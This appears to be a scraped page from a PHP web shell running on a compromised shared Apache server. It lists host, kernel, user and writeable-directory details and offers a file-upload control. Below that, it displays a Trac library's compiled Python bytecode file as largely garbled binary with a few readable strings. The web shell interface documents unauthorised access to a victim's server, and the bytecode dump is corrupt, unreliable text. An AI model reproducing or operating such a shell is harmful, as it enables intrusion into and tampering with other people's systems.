https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/util/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/util/__pycache__/compat.cpython-310.pyc
o

�k�`O�@s�ddlZddlZddlZddlZzddlmZWn!ey9zddlmZWney2dZYnwdd�ZYnwdd�Zej	dkZ
d	d
�ZdS)�N)�crypt)�	des_cryptcCs*ttd�rtj|d��|�Stj||d�S)N�hash)�salt)�hasattrr�usingr�encrypt)�secretr�r
�2/usr/lib/python3/dist-packages/trac/util/compat.pyrs
rcCs
|�|�S)N)�
rpartition)�s�sepr
r
rr's
r�ntc
Cs�ddlm}z)t�|�j}||�|t�|�jkr-t�d�||�|t�|�jksWdSWdStyJ}z|jtj	kr>n�WYd}~dSd}~ww)aIThis function is typically called before a file save operation,
    waiting if necessary for the file modification time to change. The
    purpose is to avoid successive file updates going undetected by the
    caching mechanism that depends on a change in the file modification
    time to know when the file should be reparsed.r)�
touch_fileg����MbP?N)
�	trac.utilr�os�stat�st_mtime�time�sleep�OSError�errno�ENOENT)�filenamer�mtime�er
r
r�wait_for_file_mtime_change/s
����r)rr�
subprocessrr�ImportError�passlib.hashrr�name�	close_fdsrr
r
r
r�<module>s$���


https://t.me/RX1948 - 2025